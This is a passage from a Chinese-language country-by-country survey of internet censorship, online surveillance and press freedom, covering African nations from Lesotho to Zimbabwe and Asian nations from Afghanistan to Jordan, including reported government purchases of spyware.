可以使用社交媒体，但是由于怀疑政府机密有可能被公开、以及在选举期间，政府都会试图阻止社交媒体。

洪流网站方面没有封锁的报告，也没有政府进行在线监视的报告。

言论自由在莱索托的宪法中受到保护，但是，暴力行为使人们无法公开讨论话题，尤其是政治话题。

记者受到威胁和威吓，一位编辑因工作在2016年被暗杀。刑事诽谤法经常被用来对付记者，但在2018年5月，它们被宣布违宪。

利比里亚

利比里亚的大部分人口都可以使用互联网，但政府在某些情况下对其进行了限制。在2019年6月开始，政府封锁了 Twitter、Facebook、WhatsApp、Instagram 和 Snapchat 等社交媒体平台，以打击反腐败抗议活动。

为了绕过障碍，许多公民使用VPN服务。没有关于进行在线监视的报告。

在利比里亚宪法规定言论自由，但是，事实上并没什么用。个人通常可以讨论各种话题，但是某些主题在社会上是不可接受的，例如LGBTQ。媒体可以发布许多主题的内容，但是报道政府事务的调查记者可能会受到诉讼的威胁。

媒体过去曾因严厉的诽谤处罚而受到限制。2018年，政府暂停了所有发行给媒体的经营许可证。此举旨在审查那些批评政府的人。

利比亚

经过42年的独裁统治，2014 年的选举使该国分裂为国际公认的利比亚政府和利比亚国民军。权力冲突对其在线基础设施产生了明显影响。

该国发生过苛刻的互联网审查，但现在已经不那么普遍了。色情内容通常被阻止。故意封锁的最近一个主要事件是在2015年针对一家新闻网站，该网站批评了与政府有关的民兵组织。

可以使用社交媒体，但是 Facebook 和 YouTube 过去曾被禁止。

利比亚的宪法保障见解自由，但是该国执法不力意味着并不总是如此。卡扎菲时代的一些压制性法律仍然存在，包括对发表令人反感内容的人进行严厉的惩罚。

该法律可以适用于任何形式的言论，许多人已面临社交媒体帖子的严重后果。此外，新闻记者和博客作者出于威胁和暴力行为，实行自我审查、甚至逃离利比亚。

利比亚的监视能力尚不清楚。在卡扎菲领导下，对在线通信进行了广泛的监视，并留下了强大的监视工具。有人担心这些工具可能已被重新激活。没有立法来监管监视方式。

情报和反恐办公室警告社交媒体活动家，该组织正在监视他们的活动，就在他们逮捕了一个 Facebook 用户之后。

马达加斯加

马达加斯加的信息很少，该国的互联网普及率很低。没有关于互联网审查或在线监视的报告。

宪法规定言论自由，但有法律限制言论自由。网络犯罪法禁止在线诽谤，社交媒体用户已被起诉。其他法律将诽谤定为犯罪，政府对媒体拥有控制权。

马拉维

马拉维只有不到10%的人口能使用互联网。在选举期间，互联网已被破坏。

内容不会被阻止或过滤，除非它涉及到儿童色情，但是已经有实例显示了互联网审查制度。社交媒体可用。

一项名为ICT统一管理系统的技术的实施使马拉维人怀疑政府的监视。当地人称其为间谍机器。

马拉维的宪法保障言论自由，但其他法律对其加以限制。媒体无法根

据1947年的《印刷出版物法》来报道某些主题，例如不能报道总统。所谓的诽谤将在刑事级别受到起诉，最高可判处两年徒刑。存在自我检查。

马里

冲突困扰着马里很多年。叛乱始于2012年，当时叛军对政府发动战争，以争取马里北部的独立。自那时以来，伊斯兰团体已控制了某些地区。尽管冲突因签署和平协议而正式结束，但事实上仍在继续。

马里政府没有审查互联网上的特定内容，但有报道显示互联网服务被中断。媒体和一些广播电台被暂时关闭，以阻止民间抗议宪法变化。据报道，选举期间也发生了互联网中断，Twitter 和 Facebook 受到了限制。

马里的宪法保护言论自由。人们通常可以自由地讨论话题，但是在有激进组织的地区，言论受到的限制更大。报告这些地区的局势是危险的。记者可能会受到威胁，恐吓和逮捕。诽谤也被认为是犯罪行为，可处以罚款或监禁。

毛里塔尼亚

除了某些政治内容外，没有证据证明毛里塔尼亚的任何东西都被封锁了。

社交媒体是自由使用的，但总统乌尔德·阿卜杜勒·阿齐兹（Ould Abdel Aziz）说，他不介意阻止社交媒体，如果社交媒体被认为“威胁该国安全”的话。VPN合法使用。

该国有关在线监视的信息很少。一家名为 Wolf Intelligence 的公司的技术人员的报告显示，毛里塔尼亚政府对监视产品很感兴趣 —— 该产品将使当局能够监视互联网和手机用户。

毛里塔尼亚《宪法》第10条保障言论自由，但是，实际上这项权利受到侵犯。人们因在社交媒体上批评政府而受到惩罚。法律规定对歧视和种族主义处以重罚。诽谤是刑事犯罪，叛教和亵渎行为将受到死刑的惩罚。

尽管毛里塔尼亚拥有活跃的媒体格局，但记者因报道某些主题而面临骚扰和逮捕。当涉及腐败，奴隶制或军事等主题时，存在自我审查。博客作者因在 Facebook 上谴责政府的腐败行为而被捕。

摩洛哥

尽管网站很少下线，但政府可以通过新闻法来阻止任何它认为具有“冒犯性”的内容，或者通过所谓的反恐法来阻止一切被认为“寻衅滋事”的内容。新闻媒体 Lakome 在被指控“宽恕恐怖主义”后于2013年被封锁。

Skype 和 WhatsApp 等服务提供的 VoIP 于2016年被禁止，其目的是希望增加国际通话的收入。该禁令在去年晚些时候悄然取消，原因是因此损失了约3.2亿美元。

宪法规定言论自由，但是，当局可以通过刑法、反恐法和新闻法来惩罚在线活动，受到惩罚的话题包括讨论诸如摩洛哥占领的西撒哈拉的地位、所谓的恐怖主义和冒犯君主制等等话题。惩罚包括监禁和罚款。

西撒哈拉的媒体经常受到摩洛哥当局的骚扰，试图确保他们的报道不得质疑摩洛哥在该领土上的统治地位。对在线活动和通讯的监视是一个令人担忧的问题，许多公民也接受自我审查。

⚠ 据报道，政府已经使用了 **Hacking Team** 的恶意软件，并从法国公司**Amesys** 购买了间谍软件。另外，公民必须使用身份证号注册SIM卡，也就是实名制。拒绝实名的卡将在一个月内被关闭。

- 关于 Hacking Team
- 关于 Amesys《法国向埃及出售监视社会技术和武力镇压工具已造成大面积死亡和抓捕的人权灾难》

莫桑比克

政府侦听线下和在线上的所有电话和消息、以及监视社交媒体，已经被揭露监视其公民的证据。在揭露监视的同时，发表关键评论的人报告说收到了威胁性消息。

许多媒体都是国有的，其所有报道都限制为对政府有利。规模较小的独立的媒体报道了一些国内的冲突和腐败问题，但是这样做的记者却面临压力、骚扰和恐吓。这导致许多人实行自我审查。

纳米比亚

纳米比亚的互联网不受政府限制，人们可以使用社交媒体。该国有关在线盗版的信息很少，但是纳米比亚作曲家和音乐作者协会表示，打

击盗版是其主要目标之一。

情报机构可以根据《通信法》监视所有公民的电子邮件和互联网的使用情况。维稳部门已经获得了可以拦截和监视通信的监视技术。

来自意大利监视技术公司 **Hacking Team** 的泄漏电子邮件表明，纳米比亚当局对其间谍软件技术感兴趣。

宪法权利涵盖了纳米比亚的言论自由，并且受到普遍尊重。记者大部分时间都可以自由工作，但有些人实行自我检查。

- 对 Hacking Team 泄漏电子邮件的追踪演示 《想知道老大哥是如何侵犯你的吗？挖掘更深层的内幕 》

尼日利亚

尼日利亚的互联网几乎没有限制。但是新闻网站如果宣传 Biafra 的独立性，就会遭到封锁。Biafra 是1967年试图脱离尼日利亚的一个地区，导致 Alfica 最血腥的内战之一。

尼日利亚通讯委员会支持网络中立。但是下载和共享受版权保护的内容可能会给您带来麻烦。

在一个示例中，一个行业组织对互联网盗版的投诉导致**18**人被判刑。在未经许可的情况下下载和分享本地电影后，他们每个人都被判处45天监禁和12,000奈拉（33美元）的罚款。这听起来可能并不多，但是在尼日利亚，这是平均工资的三分之一以上。

VPN 可合法使用。

许多报告指出了政府的监视能力。尼日利亚的2018年联邦预算显示，**ONSA**项目的拨款超过**170**亿奈拉（约合**4,720**万美元），观察家认为这是一种新的监视技术。另外，法律规定允许政府对人权团体进行监视。

监视公司 Hacking Team 泄漏的电子邮件表明，**Bayelsa** 政府从**2012**年到**2013**年与该公司签有合同，并且**FinFisher**间谍软件就位于该国**ISP**上。ISP也必须保留用户数据并依法拦截在线通信。

言论自由在宪法上得到保障，但事实上受到限制。批评政府可能会导致暴力报复或逮捕，并且，所有被指责为“发布虚假新闻，诽谤或煽动叛乱”的行为都会受到惩罚。诽谤也是刑事犯罪。记者和博客作者

可能因举报腐败和其他敏感话题而受到骚扰和逮捕。

卢旺达

卢旺达政府对某些在线内容施加了限制。一些独立的新闻媒体、反对派博客和乌干达新闻媒体被封锁。批评政府的内容也被删除。

对于卢旺达当局的监视能力知之甚少，但是一些揭露的确证实了互联网用户的怀疑。官员能够拦截根据《拦截通讯法》被视为“威胁”的任何个人的在线通讯和活动。

另外，据透露，政府在2012年试图从 **Hacking Team** 购买先进的间谍软件。没有证据表明该技术已购买，但足够表明政府对此感兴趣。

记者和互联网用户出于恐惧报复而进行自我审查，有些人完全避免某些话题。批评声音可能会遭到暴力和骚扰，一些人已经逃离该国。刑法中有模糊的规定限制了言论自由。

塞内加尔

塞内加尔的互联网通常没有审查制度，但政府在选举期间施加了限制，声称制止所谓的错误信息的传播。

没有关于侵犯在线版权入罪的报道，但是该国认为“非法下载导致销量下降”。于是2016年，在塞内加尔启动了一个名为 MusikBi 的新的合法音乐平台，希望在促进非洲艺术家创作的同时打击互联网盗版。

没有政府参与在线监视的报道。

人们认为，《电子通信法》草案第27条通过制造违反其原则的漏洞破坏了网络中立性。数字权利组织要求对其进行修改。

在塞内加尔宪法保障言论自由，公民通常可以公开讨论话题。但是，已经有很多人因发布社交媒体帖子而被捕。记者有时会遭到诽谤诉讼，那些揭露不公的人遭到袭击和拘留。新闻法允许当局关闭媒体渠道并阻止内容。

塞舌尔

塞舌尔没有互联网审查或政府监视的报告。该国拥有良好的隐私法，其宪法对此予以保证。其他法律包括数据保护条款，没有强制性的数据保留法律。

这些保护措施可能就是为什么 Astrill 和 BoxPN 设在那里的原因。

但是，言论自由受到限制。不允许讨论一些敏感主题以此来保护国家形象。那些批评政府的人可能会遭到报复，例如骚扰或失业。媒体通常会进行自我审查。有严格的诽谤法，但似乎是一纸空文。

塞拉利昂

塞拉利昂人口中只有一小部分是互联网用户，但由于某些原因，互联网仍然可能受到限制。在2018年选举之后，互联网和移动通信服务暂时被关闭，以阻止共享结果。**Google** 收到了对搜索结果和包含政治言论的**YouTube**内容的删除请求。

另外，当局试图通过监视社交媒体并限制用户可以发表的言论，来减少公民对社交媒体的使用。警方表示，他们拥有追踪和定位用户的能力和资源。

尽管塞拉利昂的宪法保护言论自由，但是，该国的 “诽谤和煽动叛乱法” 经常被用来针对报道腐败的新闻记者。一些记者也遭到袭击。

索马里

索马里政府经常封锁重要的网站，2014年，Citizen Lab 报告称，在索马里的某些ISP中发现了审查工具。

在选举期间当局会限制社交媒体，声称的也是 “限制仇恨言论和虚假新闻”。不过，没有可信的报告表明政府会进行在线监视。

索马里的临时宪法规定了言论自由，但是实际上存在明确的限制。对政府和权威人士的批评可能会导致被起诉，对所谓的诽谤者最高可处以罚款$ 3000。记者面临着骚扰和暴力，由于自**1992**年以来已有**67**人被杀，因此被列为对记者最危险的国家之一。

发表重要信息的记者将面临严厉的惩罚。诗人 Abdirahman Abees 因被指控 “侮辱政府” 而被拘留。只因为在一次活动中他朗诵了批评政府的诗。

南非

南非的互联网几乎没有受到审查。不过如果被认为是色情和暴力的内容会被阻止。

但是，“电影与出版法” 的新修正案一旦签署，可能会导致互联网监管更加严格。此外，对有关成人材料的法律以及儿童如何接触成人材料的法律规定了在所有设备上自动过滤的条款。

该国ISP被要求必须阻止对洪流网站和任何其他侵犯版权内容的访问。根据《网络犯罪法案》，ISP还必须举报盗版内容并保留可能有助于当局进行调查的任何用户信息。VPN是合法的。

南非政府利用监视法律中的漏洞追踪了数千部手机。ISP被要求存储客户数据，并且《通信拦截条例和通信相关信息提供法》禁止了所有无法监控的通信系统。

根据 RICA，需要法院下达命令才能拦截通讯，但是，《通用情报法修正案》却允许当局在没有司法监督的情况下进行通讯。

宪法保障言论自由，但如果被认为 “煽动暴力和对种族、族裔、性别和宗教的仇恨”，将被治罪。2017年对《网络犯罪和网络安全法案》进行的修订对所谓的 “有害消息” 的传播进行了处罚。

南苏丹

南苏丹政府封锁了它认为包含或发布批评政府或煽动暴力的所有内容的网站。媒体网站和博客通常是主要针对目标。

南苏丹过渡时期的宪法保障言论自由和新闻自由，但是并未受到尊重，该国对记者而言是世界上最危险的国家之一。

诽谤是根据刑法起诉的，针对批评政府的任何人。许多人也受到威胁，拘留、甚至杀害。

南苏丹国家安全局能够进行监视和拦截通信。正是通过这些监视，记者以及其他批评的声音被威吓和拘留。人们由于恐惧而实行自我检查。

可以使用社交媒体，但是当局已经在 Twitter、Facebook 和 WhatsApp 等平台上设置了障碍，因为这些社交媒体平台被用来组织反政府抗议活动。

2013年的抗议活动导致互联网中断。VPN是合法的，许多公民都诉诸于VPN来规避审查和限制。

苏丹

苏丹政府封锁并过滤掉了所有被认为“不道德或亵渎性”的网站以及任何色情内容的网站。建立政府不喜欢的网站被认为是一种犯罪行为。网吧必须安装内容过滤软件，否则将被没收许可证。

可以使用社交媒体，但是在抗议活动中，社交媒体已被多次封锁。印刷媒体受到高度审查，因此许多公民依靠互联网获取未经审查的新闻。不过，对媒体法律的改革可能会改变这一点。

苏丹的宪法保障言论自由，但并未受到尊重。讨论政治问题的个人受到恐吓，社交媒体用户因对政府的批评而被起诉。记者面临恐吓和暴力，许多记者以匿名或自我审查的方式发布来避免这种情况。

国家情报和安全局监视通讯、博客、社交媒体和新闻论坛。

⚠ 有报道称，苏丹拥有来自美国的 **Blue Coat Systems** 的监视设备。

坦桑尼亚

坦桑尼亚没有在线审查的报告，但是同性恋是非法的，因此与之相关的内容可能会受到影响。

该国有关在线监视的信息很少，但是《网络犯罪法》第32 条允许当局在没有司法监督的情况下进行监视。并且，第**38**条禁止人们挑战政府的监视。

执政党 Chama Cha Mapinduzi 监视社交媒体，时刻盯着民众的讨论，尤其是政治话题。

《网络犯罪法》使“侮辱总统和散布有关同性恋信息”被定为刑事罪行，受到罚款、监禁或两者兼施的处罚。

如果当局认为存在“诽谤、煽动叛乱”和其他非法内容，记者就会受到严厉的处罚。记者也面临攻击，导致媒体环境受到压制。

坦桑尼亚的《电子和邮政通信条例》说，如果内容被认为引起厌恶或公共混乱，则用户应对内容负责。

网吧也必须安装监控摄像头。违反规定者将面临罚款和监禁。

多哥

多哥的互联网面临的封锁问题并不多，但是，反政府抗议活动发生时互联网和短信服务无法访问。诸如 Facebook 和 WhatsApp 之类的社交媒体平台也受到了影响。

多哥的宪法保障言论自由，但是经常遭到侵犯。公民可以公开讨论话题，但是批评政府的人会被逮捕。

限制性新闻法规和针对记者的犯罪惩罚导致许多记者实行自我审查。警察采取恐吓和暴力行动，以阻止对敏感话题的报道。

此外，2018年通过的网络安全法将发布“虚假信息”定为刑事犯罪。当局也可以依法进行监视。

突尼斯

扎因·阿比丁·本·阿里总统（Zine El Abidine Ben Ali）上台时，突尼斯的审查制度盛行，某些网站（例如 YouTube）遭到封锁。自2011年以来情况已有所改善，用户可以使用互联网和社交媒体。

网络中立性似乎不是问题。第2014–4773号法令第14条规定，ISP必须确保其服务的中立性。2014–412号法令第14条规定，VPN运营商也必须保证其服务的中立性。

突尼斯保证言论自由，但是有明显限制。记者经常受到政府官员的恐吓，并遭到批评和逮捕。博客作者和其他人因被诬陷诽谤而被起诉，许多人不愿讨论某些主题。例如，同性恋是非法的，因此无法讨论LGBT话题。

在一次议会听证会上，内政部长 Lotfi Brahem 承认正在监视记者。在2013年，一个新的政府监视机构技术电信局创建，当局称为“支持司法调查”。不过该机构的涉及范围非常广泛，活动家担心它会被用于大规模监视。

赞比亚

赞比亚的互联网声称不限制政治和敏感内容。但是，一些新闻媒体因其重要报道而被封锁。

可以使用社交媒体，但是政府官员扬言要禁止某些平台以防止“滥用”。后来证实，社交媒体不会被禁止，但会受到监管。

《电子通信和交易法》要求服务提供商启用拦截功能，并安装进行拦

截所需的设备。

反对党起诉一家手机公司，因为该公司拦截了200多个电话，并将其重定向至国家情报部门。

所谓的 “智能赞比亚” 项目关系到中国电信公司华为的数字监控。

监视公司 **Hacking Team** 泄漏的电子邮件表明，赞比亚政府询问了用于监视和拦截用户通信的监视技术。不过没有确认发生过交易。

由于政府的压力，记者实行自我审查，有些人匿名发表以躲避惩罚。政治和腐败等话题都很敏感。当前的立法以模糊的规定限制了言论自由，这些规定对某些活动施加了惩罚。根据刑法，诽谤是一种犯罪。

津巴布韦

由于抗议活动，津巴布韦的互联网很容易被关闭。在选举期间，某些网站也会被封锁。社交媒体在抗议活动中也受到限制，最近的一次是在2019年。不久之后，这些平台就被解除了封锁。版权法已经到位，但执行不力。

电信监管机构 POTRAZ 认为网络中立性不是问题。但是，服务提供商会违了网络中立性原则。

如果根据《邮政和电信法》被认为可疑的任何内容，政府都可以随时拦截通信。该法律还要求**ISP**和电信公司安装监视技术。

还有消息显示，政府与中国公司 **CloudWalk Technology** 合作建立了一个全国性的面部识别监视计划。

- 关于中国的 CloudWalk《中国面部识别巨人崛起的背后》
- 《中国的反乌托邦监视国家是美国制造的》

宪法规定言论自由，但其他法律削弱了言论自由。某些言论受到限制，例如侮辱总统，违反规则者将受到罚款、监禁或两者并罚。

在2016年，诽谤被取消了刑事司法化。尽管如此，自我审查在个人和媒体之间还是很普遍的。

—— 亚洲 ——

「图」

阿富汗

在塔利班的统治下，互联网被禁止。塔利班政府被推翻后，互联网于2002年再次可用。从那以后，施加了一些限制。

2010年，通信和信息技术部要求ISP列出黑名单网站，阻止所有类似酗酒、色情和赌博以及约会和社交网络服务。

新闻网站也被列入黑名单。另外，在2017年，开始屏蔽与恐怖组织和极端分子有关的内容。WhatsApp 和 Telegram 在2017年被暂时阻止。

该国目前没有在线监视的报告，但是 **WikiLeaks** 透露国家安全局进行了大规模电话监视。

私人讨论通常不受限制，但是在某些领域谈论具有政治性质的话题可能很危险。媒体环境充满生机，但是记者面临来自不同群体的威胁，骚扰和攻击。记者可以发表批评政府的报道，但官员经常试图抹黑他们。

阿塞拜疆

自2017年以来，阿塞拜疆政府封锁了很多网站，尤其是与反对派或揭露腐败有联系的网站。媒体渠道已被封锁，那些暴露腐败的媒体是主要针对目标。

那些被认为“威胁国家安全”或助长暴力、仇恨或极端主义的网站也受到限制。

监视活动在很大程度上尚不清楚，但**2015**年该国政府以**300**万美元的价格从以色列监视技术公司购买了专用设备，阿塞拜疆也被怀疑从 **Hacking Team** 购买了间谍软件。

执法机构可以在没有司法监督的情况下进行监视，严重罪行的宽泛定义意味着它可以被滥用。

在阿塞拜疆宪法保障自由言论，但是事实上往往是不受保护的。在线诽谤和侮辱属于刑事犯罪，惩罚包括罚款、社区服务或劳动改造。在某些情况下也会被判入狱。记者经常受到指控，面临骚扰、暴力和恐吓。

巴林

巴林的互联网受到审查的约束，某些地区已经断网，是为了遏制抗议和示威活动期间公民之间的交流能力。

某些内容可能会被屏蔽，例如与人权相关的任何政治内容或对王室或政府的批评。一些媒体例如半岛电视台也可能被封锁。

可以使用社交媒体服务和博客，但是当局之前已经屏蔽了一些消息传递和实时流式应用程序。

一些VPN提供商的网站被阻止，使其工具难以下载，但服务本身不受影响。电信监管局也宣布了针对盗版的打击政策。

有报道称，政府对持不同政见者使用间谍软件，包括巴林使用监视公司**Hacking Team** 和 **FinFisher** 的间谍技术的证据，这些技术可实现远程监视和其他功能。电信事务部有专门的部门监视网站和社交媒体。

宪法保障言论自由，但前提是不违反某些例外规定。任何所谓的诽谤行为均可被处以监禁和罚款。

2017年，该国对宪法进行了修改，以便可以在军事法庭审判平民。另外，父母可能因孩子的活动（例如社交媒体言论或行为）而受到起诉。

《新闻出版法》可以适用于在线活动，并可以用来判处有期徒刑。政府认为“令人反感的活动” 包括发表批评国王的材料、煽动暴力或鼓励推翻政府。

孟加拉

孟加拉国的互联网受到限制。2019年初，将近 20000 个色情网站被封锁。不允许赌博，而被捕的人将面临最高1个月的监禁和100塔卡的罚款，即半个多星期的工资。

社交媒体和消息传递应用程序会被阻止。2015年，由于法院强烈支持两名定罪的战争罪犯的死刑判决，公众的强烈抗议导致多个平台以及互联网本身被封锁。

孟加拉国没有法律保护隐私或数据，这意味着用户容易受到侵犯。**WikiLeaks** 透露了有关孟加拉国执法机构购买 **FinFisher** 间谍软件的信息。另一份报告显示了当局购买移动监视技术的意图以及安装监视设备的计划。

言论自由受到法律的限制。诽谤被处罚严厉，规则也扩展到了数字内容。博客作者和活动家遭到攻击，有些人因此而恐惧地离开了这个国家。有些人继续写作，但另一些人实行自我审查。许多互联网用户因其帖子而被捕。

文莱

禁止对伊斯兰教、伊斯兰教法或君主制进行的在线批评，政府设立了热线电话，供人们举报在社交媒体上发布的此类内容。

被认为是“虚假和恶意”报道的记者可能会被判入狱三年，许多人实行自我审查。大多数媒体都是国营的。

有报道称，政府对私人在线通信（例如电子邮件和聊天室讨论）进行了监控。在文莱服务器上也找到了 **FinFisher** 间谍软件。

ISP必须监视与社会道德、民族和谐和公共利益相冲突的任何内容。**ISP**可以审查内容并切断互联网访问，不会另行通知。

柬埔寨

洪森（Hun Sen）自1985年以来一直执政，使该国沦为独裁政权。柬埔寨互联网被强加了许多障碍。

新闻网站可能会被封锁，特别是如果它们传播可能威胁执政党的信息。带有色情类内容的网站可能会被屏蔽。

互联网服务供应商订购了监控软件和设备，以阻止歧视性或威胁性的内容。

政府对公民的在线活动和私人通讯进行监视。所谓的电信法允许政府监视而没有司法监督。

自由言论被列入宪法的人权标准，但有限制。刑法惩治诽谤和公共侮辱。法律经常被滥用，个人可能会受到起诉。被认为歧视的个人或团体也会受到惩罚。处罚包括罚款和监禁。

中国

中国的互联网是审查制度的一个很好的例子。它拥有世界上最先进的系统之一，称为“长城防火墙”。自2015年以来，超过13,000个网站已被阻止或关闭。

涉及对政策、个人和重要事件的批评的所有内容都被阻止。大多数西方企业媒体，例如CNN和BBC，也被封锁。

中国最受审查的话题之一是天安门广场大屠杀，数千名抗议者被杀害。它发生在30多年前，但目前仍然是中国不想讨论的话题。

许多社交媒体平台，即时通讯应用等服务被阻挡，也包括Facebook、WhatsApp、YouTube、Flickr、谷歌、Instagram、Pinterest 以及更多。

该国拥有自己的上述应用程序克隆版本。洪流网站也可被阻止。

除政府批准的VPN外，其他所有VPN也被禁止，政府批准基本上意味着提供商已同意政府的条款并记录用户信息。那些使用所谓的非法VPN或其他规避工具的人将被处以最高1.5万元人民币（合2,200美元）的罚款。

政府监视互联网和手机通信，许多居民被迫在其设备上安装间谍软件。大多数在线服务都要求用户进行实名注册。

网吧会检查带有照片的证件并记录用户的活动。如果当局声称反恐法，公司必须帮助解密信息。

2018年，上海警方启动了面部识别系统，用于在全市的网吧中监视用户。

自由言论在中国宪法中被承认，但是它在现实中受到限制。对批评政府有严厉的惩罚。记者面临骚扰、身体虐待、恐吓和威胁，许多人已入狱。由于这些原因，记者实行了严格的自我检查。

所谓的诽谤可适用于许多情况，最高可判处三年监禁。煽动动乱或抗议也将受到惩罚。在社交媒体上散布所谓的错误信息可被判处最高七年徒刑。

香港

香港的互联网与中国的互联网没有相同的限制。主要限制诸如儿童色情和其他淫秽图像之类的材料。还有一些法律将分发受版权保护的材料定为犯罪。

香港的法律规范政府监视，但自2006年颁布以来一直没有更新。当局可以拦截法律中未包括的所有形式的通讯，例如消息传递应用程序和

社交媒体，而不需要授权。

香港的人权法案保护言论自由，但是有一些事情需要注意。2015年，一家香港公司的五名员工失踪，该公司出版了批评中国的书籍。其员工被中国当局拘留至2016年才返回。

媒体环境面临着越来越大的政治和经济压力，因此一些记者进行了自我审查。一些记者的工作甚至遭到人身攻击。

印度

印度互联网受到许多封锁和关闭。色情、新闻、赌博和约会网站都会被阻止。政治和社交信息以及流行的视频共享、文件共享和社交媒体网站都可能被阻止。政府可以命令服务提供商下线。

过去，包括 Facebook、WhatsApp、Twitter 和许多其他社交媒体都曾被禁止。视频共享应用 TikTok 也被阻止，因为担心儿童访问不适当的内容。另外，政府寻求电信运营商和**ISP**提供有关如何阻止某些应用程序的信息。

下载受版权保护的材料是非法的，并且洪流网站（例如 The Pirate Bay）已被某些ISP阻止。

访问被阻止的站点可能会导致罚款和入狱。有报道称，移动运营商 Reliance Jio 也禁止访问某些**VPN**和代理的网站。

印度拥有自己的监视工具 **NETRA**，可以从互联网流量中捕获数据并进行分析。如果检测到潜在的安全威胁，它将提醒相应的机构。

一个独特的大规模监视项目称为 **Aadhaar**，收集并存储了超过**10**亿印度人的生物识别数据，这也引起了人们的关注。另外，在印度发现了 FinFisher 服务器。

私人讨论通常是自由的，媒体可以就许多主题进行报道。话虽如此，所谓的安全法、诽谤法和仇恨言论法已被用来对付任何批评性声音。

记者由于工作而面临骚扰、威胁和人身暴力。

印尼

印度尼西亚的互联网受到严格控制，限制了一切违反法律或社会规范的内容。其中包括与赌博、色情、对伊斯兰教的批评、LGBT问题和

暴力有关的任何内容。

关键字过滤用于禁止内容，但是定义范围很广，因此也完全可能捕获无害的内容。所谓的仇恨言论也可以成为攻击目标。

娱乐受到审查，并且限制了 YouTube、Reddit、Vimeo 和 Imgur 等流行平台。Netflix 曾经被禁止，因为它没有遵守该国检查员的要求。现在它在部分地区再次可用，但是某些ISP仍然阻止它。

Telegram 在2017年被封锁，其他社交媒体应用程序在抗议活动期间也会被阻止。

在通信和信息技术部命令ISP审查内容之后，海盗湾和其他洪流站点都被封锁。VPN是合法的。

根据国家情报法，政府可以监视社交媒体并监视公民，而无需司法监督。许多其他法律法规允许政府和执法机构进行监视。还找到了 FinFisher 服务器。

印尼军方被指控进行未经授权的监视。政府购买了监视技术来访问任何目标设备和网络；还使用手机监控技术。

对言论自由有很多限制。根据《电子信息和交易法》，发布、访问或创建具有政治或宗教冒犯性内容的用户，将面临最高六年的监禁和最高100000美元的罚款。新闻媒体和个人被起诉诽谤、煽动暴力等等。

伊朗

伊朗互联网受到严格控制。该国实行伊斯兰教法，违反其中的规定可能会导致严厉的刑罚。公民可能因使用赌博和约会网站而受到起诉。

社交媒体被视为西方的不良影响和间谍工具，因此某些平台已被封锁。反政府示威者用它组织抗议活动。

洪流网站也被封锁，2017年有六人因经营电影流媒体网站而被捕。伊朗的版权法更多地针对共享内容的人。

访问非法内容可能会导致处罚，包括罚款和监禁。关于在线审查办公室突然出现的报道已经浮出水面。据说他们将监视在线内容并在需要时对其进行审查。试图通过加密工具访问被阻止的内容的用户也可以被识别并可能被起诉。

VPN的法律地位尚不确定。《计算机犯罪法》第10条禁止隐藏数据，这可以解释为禁止加密。有报道称伊朗在选举期间禁止访问某些VPN。其他报告表示仅允许被授权的VPN，但最有可能的是当局对其进行监视。

伊朗的互联网受到监控。2015年成立了选举安全总部，以监控在线世界。同年，为社交媒体建立了另一个名为 **Eghtedare Sarallah** 的监视程序。政府曾向 **Telegram** 施加压力，要求其关闭抗议渠道，但在拒绝后被封锁。

伊朗当局对某些言论施加严厉的限制和处罚。这阻止了人们自由讨论话题，特别是考虑到要进行大量监视。当局对新闻媒体进行审查，并告知记者可以报道和不能报道的主题。记者面对自逮捕、起诉和监禁。

伊拉克

有报道称伊拉克网络被关闭和封锁。2016年，所有宽带和移动连接均被关闭，以阻止学生作弊。并且也发生了其他断网事件，当局声称阻止伊斯兰国宣传的传播。

例如抗议活动期间，当局会阻止社交媒体。不过目前禁令已经解除。

2014年，VPN被禁止，以限制ISIS操纵社交媒体。但政府官员和机构仍在使用它们。

没有证据表明伊拉克政府在进行监视，但是国家安全局仍在积极行动。

据报道，国家安全局实时收集电子邮件，消息和电话位置信号。信息也可以与美国盟友共享。

伊拉克的宪法限制言论自由。记者进行自我审查，以避免受到起诉、骚扰、恐吓和暴力。那些举报腐败的人可能会被逮捕。库尔德地区的记者遭到袭击并被拘留。

以色列

以色列实施了一些互联网限制措施，包括删除某些网站，例如与赌博色情有关的网站。军事检查员可以禁止被认为威胁国家安全的任何内容。一些新闻网站和博客已被它禁止。

涉及刑事或任何“令人反感”的内容都可被阻止，ISP以前要阻止洪流网站等内容，但目前对洪流的禁令已被解除。

公民通常可以自由讨论话题，但有一定的限制。那些提倡抵制以色列国或西岸定居点的人由于“反抵制法”而陷入民事诉讼。

整个以色列都实施了审查制度，西岸的巴勒斯坦权力机构和加沙的哈马斯可以对互联网设置自己的限制。

2011年颁布了一项法律，要求实现网络中立。不过其中一些条款含糊不清。巴勒斯坦基础设施受到限制，因为以色列控制了蜂窝网络的无线电频率并限制了其发展。

以色列有27家监视公司，据称这些公司帮助美国国家安全局实施了PRISM计划。这些公司能够拦截通信，移动位置跟踪和其他服务。

以色列的监视法允许在没有逮捕令的情况下自由使用公民的个人信息。

日本

日本的审查不多。但是这并未阻止政府指示 ISP在2018年封锁了与漫画盗版相关的网站。托管着儿童性虐待图片的网站被封锁，互联网服务提供商提供了一个过滤器，声称在线保护青少年。

被认为令人反感的、诽谤、侵犯某人隐私或侵犯版权的内容，都将通过向ISP请求来删除。社交媒体自由使用。在日本，下载受版权保护的材料是非法的，但是处罚各不相同，其反盗版法律即将发布。

执法机构可以根据法院命令进行电子监视，以进行刑事调查。所谓的反阴谋法允许政府进行更多监视。对普通公民进行了非法监视。

⚠ 美国情报人员向日本人提供了一个用于监视互联网用户活动的大规模监视系统，并在该国的服务器上找到了 FinFisher 监视软件。

日本宪法保护言论自由，并受到普遍尊重。但是，对其他血统的人，尤其是韩国人和中国人的仇恨言论是一个问题，而且一些城市已经通过了自己的限制法令。

媒体环境是自由的，但政府可以操纵发布的内容来控制公共语话。

约旦

约旦互联网受到一些过滤和限制。如果未从该国媒体委员会获得许可，则可以禁止LGBT内容，也可以禁止新闻网站。

该国要求ISP 在考试期间在某些区域阻止某些社交媒体应用程序，包括 Twitter 和 WhatsApp。一些ISP 阻止 VoIP 服务。

宪法允许监视。《电信法》和《反恐法》可通过司法命令对怀疑涉嫌与恐怖活动有联系的任何人跟踪通讯和监视。据信，情报部门将监视所有在线评论并对其进行记录。

尽管宪法有言论自由的保护措施，但根据刑法，禁止侮辱王室、国家象征、国家机构和外国。

根据《网络犯罪法》，诽谤是刑事犯罪，可处以至少三个月的监禁和最高**2000**约旦第纳尔（**2,800**美元）的罚款。

除非是官方批准的，否则禁止媒体报道国王、王室和武装部队。记者绕避诸如司法制度和宗教之类的敏感话题，并且大多数记者实行自我审查。

